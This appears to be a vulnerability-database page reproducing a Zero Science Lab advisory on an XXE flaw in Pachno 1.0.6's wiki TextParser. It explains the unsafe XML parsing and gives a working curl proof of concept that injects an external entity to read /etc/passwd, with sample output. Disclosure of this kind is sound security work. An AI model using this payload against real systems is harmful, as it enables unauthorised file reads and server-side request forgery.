Lucene search
K

📄 Pachno 1.0.6 Wiki TextParser XML Injection

🗓️ 13 Apr 2026 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 51 Views

Pachno 1.0.6 TextParser XXE vulnerability allows authenticated local file reads and internal requests via XML parsing.

Code
Pachno 1.0.6 Wiki TextParser XXE Vulnerability
    
    
    Vendor: Daniel André Eikeland
    Product web page: https://github.com/pachno/pachno
    Affected version: 1.0.6
    
    Summary: Pachno is an open-source collaboration platform (formerly known as The Bug Genie)
    designed for team project management, issue tracking, and documentation. It offers a module-based,
    customizable environment for software development and team workflows, distributed under the
    Mozilla Public License.
    
    Desc: Input passed via wiki table syntax ({|..., |-..., |...||...) and allowed inline tags
    (<span>, <div>, <blockquote>, etc.) in issue descriptions, comments, and wiki articles is
    concatenated into XML strings and parsed by simplexml_load_string() in the TextParser helper
    without setting LIBXML_NONET or otherwise restricting entity resolution. On PHP installations
    linked against libxml2 < 2.9.0 (where external entity loading is enabled by default), this
    can be exploited to read arbitrary local files via the file:// scheme, perform server-side
    request forgery against internal services via the http:// scheme, and exfiltrate the response
    body through reflected XML attribute values. Successful exploitation requires an authenticated
    session with permission to create or edit content that is rendered through the wiki parser.
    On PHP 7.4+ installations with libxml2 >= 2.9.0 the vulnerability is mitigated by the underlying
    library but the unsafe code pattern remains.
    
    Tested on: GNU/Linux
               Apache2
               PHP/7.4
               MySQL/5.7 (MariaDB)
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2026-5984
    Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5984
    
    
    06.04.2026
    
    --
    
    
    $ curl -v -b cookies.txt -X POST "http://127.0.0.1/docs/r/4/edit" \
      --data-urlencode 'article_content={|<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> class="wikitable &xxe;" \
    |-\
    | ZSL\
    |}'
    
    
    $ curl -s -b cookies.txt "http://127.0.0.1/docs/4/article-name" | grep -o 'class="wikitable [^"]*"'
    root:x:0:0:root:/root:/bin/bash
    ...

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation